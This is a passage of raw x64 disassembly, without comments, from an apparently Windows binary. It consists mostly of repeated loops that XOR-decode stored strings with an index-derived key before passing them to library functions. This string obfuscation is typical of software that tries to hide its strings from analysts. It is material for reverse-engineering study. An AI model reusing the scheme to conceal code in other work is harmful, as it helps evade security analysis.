psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001b4b0
cmp r8d, 0x21
jge 0x14001b5d0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001b5a1
mov rdx, r10
lea rcx, [rbp + 0x16b8]
call fcn.140033e80
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1698]
call fcn.140039e30
mov rbx, rax
lea rdx, [rbp + 0x5888]
lea rcx, [rbp - 0x40]
call fcn.14002e9e0
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001b750
mov r8d, esi
cmp r14d, 2
jl 0x14001b71b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001b630
cmp r8d, 0x27
jge 0x14001b750
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001b721
mov rdx, r10
lea rcx, [rbp + 0x16f8]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x1718]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x16d8]
call fcn.140039e30
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x1718]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x16f8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x16b8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1678]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1658]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1618]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x15f8]
call fcn.140007bc0
lea rax, [rbp + 0x4a8]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6228]
lea rcx, [rbp + 0x4a8]
call fcn.140033630
mov r12, rax
lea rdx, [rbp + 0x5bb8]
lea rcx, [rbp - 0x3f]
call fcn.14002eb30
mov r10, rax
cmp word [rax + 0x30], 0
je 0x14001baf4
mov r8d, esi
cmp r14d, 2
jl 0x14001baba
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
movdqa xmm3, xmmword [0x1402abb30]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm3
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x28]
xorps xmm3, xmm0
movq qword [rax + 0x28], xmm3
mov r8d, Ordinal_26
mov eax, r8d
lea r9, [r10 + rax*2]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x19
jl 0x14001bac1
mov rdx, r10
lea rcx, [rbp + 0x1738]
call fcn.140033a40
nop
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x1758]
call fcn.140039dc0
nop
mov rcx, rax
call fcn.1400338c0
mov r15, rax
lea rax, [rbp + 0x1778]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0xa98]
lea rcx, [rbp - 0x3e]
call fcn.14002eb00
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14001bdff
mov r8d, esi
cmp r14d, 2
jl 0x14001bdc7
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm2, xmmword [0x1402abb30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r8d, Ordinal_26
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14001bdd0
mov rdx, r10
lea rcx, [rbp + 0x1798]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x17b8]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1778]
call fcn.140039e30
mov rdi, rax
lea rax, [rbp + 0x17d8]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x56f8]
lea rcx, [rbp - 0x3d]
call fcn.14002ead0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001bfa0
mov r8d, esi
cmp r14d, 2
jl 0x14001bf6b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001be80
cmp r8d, 0x21
jge 0x14001bfa0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001bf71
mov rdx, r10
lea rcx, [rbp + 0x17f8]
call fcn.140033e80
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x17d8]
call fcn.140039e30
mov rbx, rax
lea rdx, [rbp + 0x5860]
lea rcx, [rbp - 0x3c]
call fcn.14002e9e0
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001c120
mov r8d, esi
cmp r14d, 2
jl 0x14001c0eb
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001c000
cmp r8d, 0x27
jge 0x14001c120
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001c0f1
mov rdx, r10
lea rcx, [rbp + 0x1838]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x1858]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1818]
call fcn.140039e30
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x1858]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1838]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x17f8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x17b8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1798]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1758]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x1738]
call fcn.140007bc0
lea rax, [rbp + 0x4c0]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6228]
lea rcx, [rbp + 0x4c0]
call fcn.140033630
mov r12, rax
lea rdx, [rbp + 0x6080]
lea rcx, [rbp - 0x3b]
call fcn.14002ebc0
mov r10, rax
cmp word [rax + 0x3a], 0
je 0x14001c353
mov r8d, esi
cmp r14d, 2
jl 0x14001c313
mov rcx, rax
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x14001c220
cmp r8d, 0x1e
jge 0x14001c353
movsxd rax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1e
jl 0x14001c320
mov rdx, r10
lea rcx, [rbp + 0x1878]
call fcn.140033a40
nop
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x1898]
call fcn.140039dc0
nop
mov rcx, rax
call fcn.1400338c0
mov r15, rax
lea rax, [rbp + 0x18b8]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0xb58]
lea rcx, [rbp - 0x3a]
call fcn.14002eb90
mov r10, rax
cmp byte [rax + 0x1d], 0
je 0x14001c4f0
mov r8d, esi
cmp r14d, 2
jl 0x14001c4bb
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14001c3d0
cmp r8d, 0x1e
jge 0x14001c4f0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x14001c4c1
mov rdx, r10
lea rcx, [rbp + 0x18d8]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x18f8]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x18b8]
call fcn.140039e30
mov rdi, rax
lea rax, [rbp + 0x1918]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x56d0]
lea rcx, [rbp - 0x39]
call fcn.14002eb60
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001c690
mov r8d, esi
cmp r14d, 2
jl 0x14001c65b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001c570
cmp r8d, 0x21
jge 0x14001c690
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001c661
mov rdx, r10
lea rcx, [rbp + 0x1938]
call fcn.140033e80
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1918]
call fcn.140039e30
mov rbx, rax
lea rdx, [rbp + 0x5838]
lea rcx, [rbp - 0x38]
call fcn.14002e9e0
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001c810
mov r8d, esi
cmp r14d, 2
jl 0x14001c7db
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001c6f0
cmp r8d, 0x27
jge 0x14001c810
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
